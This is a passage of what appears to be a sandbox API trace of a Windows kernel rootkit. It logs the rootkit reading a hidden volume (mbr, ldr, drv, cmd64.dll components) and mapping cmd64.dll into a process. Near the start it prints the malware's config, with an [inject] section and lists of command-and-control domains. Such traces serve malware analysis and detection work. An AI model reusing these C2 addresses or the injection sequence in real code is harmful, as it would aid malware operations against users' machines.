(x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0088.213] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0088.213] strncpy (in: _Dest=0xfffffa80037e2274, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0088.213] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0088.213] ExFreePoolWithTag (P=0xfffff8a001473190, Tag=0x0) [0088.213] ZwClose (Handle=0xffffffff800004bc) returned 0x0 [0088.213] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.213] KeEnterCriticalRegion () [0088.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.213] IoGetRequestorProcess (Irp=0xfffffa80037c7bb0) returned 0xfffffa80018ab040 [0088.213] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80037e33c0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0088.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.213] KeLeaveCriticalRegion () [0088.213] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.213] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.213] KeEnterCriticalRegion () [0088.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.213] ExFreePoolWithTag (P=0xfffffa8003715cd0, Tag=0x0) [0088.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.213] KeLeaveCriticalRegion () [0088.213] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.213] KeStackAttachProcess (in: PROCESS=0xfffffa80037ee060, ApcState=0xfffff88002f9da58 | out: PROCESS=0xfffffa80037ee060, ApcState=0xfffff88002f9da58) [0088.213] _snwprintf (in: _Dest=0xfffffa80037e206c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0088.213] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9da38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0088.213] ZwOpenFile (in: FileHandle=0xfffff88002f9d9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f9da08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9da48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f9d9e8*=0xffffffff800004bc, IoStatusBlock=0xfffff88002f9da48) returned 0x0 [0088.213] _snprintf (in: _Dest=0xfffff88002f9d150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0088.213] KeEnterCriticalRegion () [0088.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.213] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.213] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.213] KeInitializeEvent (in: Event=0xfffff88002f9cfc0, Type=0x0, State=0 | out: Event=0xfffff88002f9cfc0) [0088.213] IdePortDispatch () returned 0x103 [0088.213] KeWaitForMutexObject () returned 0x0 [0088.214] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0088.214] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0088.214] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0088.214] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0088.214] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0088.214] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0088.214] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0088.214] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0088.214] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0088.214] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0088.214] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800370f9b0 [0088.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.214] KeLeaveCriticalRegion () [0088.214] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.214] ZwCreateSection (in: SectionHandle=0xfffff88002f9d9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800004bc | out: SectionHandle=0xfffff88002f9d9e0*=0x14) returned 0x0 [0088.214] _snprintf (in: _Dest=0xfffff88002f9d260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0088.214] KeEnterCriticalRegion () [0088.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.214] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.214] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.214] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.214] KeInitializeEvent (in: Event=0xfffff88002f9d0f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0f0) [0088.214] IdePortDispatch () returned 0x103 [0088.214] KeWaitForMutexObject () returned 0x0 [0088.214] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0088.214] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0088.214] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0088.214] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0088.214] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0088.214] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0088.214] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0088.214] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0088.214] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0088.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.214] KeLeaveCriticalRegion () [0088.214] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.215] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff800004b0, BaseAddress=0xfffff88002f9d9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f9da00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f9d9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f9da00*=0x6000) returned 0x0 [0088.215] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0088.215] _snprintf (in: _Dest=0xfffff88002f9d390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0088.215] KeEnterCriticalRegion () [0088.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.215] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b7000 [0088.215] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.215] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.215] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.215] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.215] IdePortDispatch () returned 0x103 [0088.215] KeWaitForMutexObject () returned 0x0 [0088.215] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0088.215] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0088.215] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0088.215] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0088.215] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0088.215] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0088.215] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0088.215] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0088.215] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0088.215] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.215] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.215] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.215] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.215] IdePortDispatch () returned 0x103 [0088.216] KeWaitForMutexObject () returned 0x0 [0088.216] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.216] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.216] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.216] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.216] IdePortDispatch () returned 0x103 [0088.216] KeWaitForMutexObject () returned 0x0 [0088.216] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.216] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.216] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.216] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.216] IdePortDispatch () returned 0x103 [0088.216] KeWaitForMutexObject () returned 0x0 [0088.216] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.216] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.216] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.216] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.216] IdePortDispatch () returned 0x103 [0088.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.217] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.217] IdePortDispatch () returned 0x103 [0088.217] KeWaitForMutexObject () returned 0x0 [0088.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.217] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.217] IdePortDispatch () returned 0x103 [0088.217] KeWaitForMutexObject () returned 0x0 [0088.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.217] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.217] IdePortDispatch () returned 0x103 [0088.218] KeWaitForMutexObject () returned 0x0 [0088.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.218] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.218] IdePortDispatch () returned 0x103 [0088.218] KeWaitForMutexObject () returned 0x0 [0088.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.218] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.218] IdePortDispatch () returned 0x103 [0088.218] KeWaitForMutexObject () returned 0x0 [0088.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.218] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.218] IdePortDispatch () returned 0x103 [0088.218] KeWaitForMutexObject () returned 0x0 [0088.219] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.219] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.219] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.219] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.219] IdePortDispatch () returned 0x103 [0088.219] KeWaitForMutexObject () returned 0x0 [0088.219] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.219] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.219] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.219] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.219] IdePortDispatch () returned 0x103 [0088.219] KeWaitForMutexObject () returned 0x0 [0088.219] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.219] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.219] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.219] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.219] IdePortDispatch () returned 0x103 [0088.219] KeWaitForMutexObject () returned 0x0 [0088.219] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.219] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.219] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.219] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.219] IdePortDispatch () returned 0x103 [0088.220] KeWaitForMutexObject () returned 0x0 [0088.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.220] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.220] IdePortDispatch () returned 0x103 [0088.220] KeWaitForMutexObject () returned 0x0 [0088.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.220] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.220] IdePortDispatch () returned 0x103 [0088.220] KeWaitForMutexObject () returned 0x0 [0088.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.220] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.220] IdePortDispatch () returned 0x103 [0088.221] KeWaitForMutexObject () returned 0x0 [0088.221] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.221] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.221] IdePortDispatch () returned 0x103 [0088.221] KeWaitForMutexObject () returned 0x0 [0088.221] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.221] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.221] IdePortDispatch () returned 0x103 [0088.221] KeWaitForMutexObject () returned 0x0 [0088.221] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.221] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.221] IdePortDispatch () returned 0x103 [0088.221] KeWaitForMutexObject () returned 0x0 [0088.222] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.222] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.222] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.222] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.222] IdePortDispatch () returned 0x103 [0088.222] KeWaitForMutexObject () returned 0x0 [0088.222] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.222] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.222] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.222] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.222] IdePortDispatch () returned 0x103 [0088.222] KeWaitForMutexObject () returned 0x0 [0088.222] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.222] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.222] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.222] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.222] IdePortDispatch () returned 0x103 [0088.223] KeWaitForMutexObject () returned 0x0 [0088.223] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.223] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.223] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.223] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0088.223] IdePortDispatch () returned 0x103 [0088.223] KeWaitForMutexObject () returned 0x0 [0088.223] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.223] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.223] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.223] KeInitializeEvent 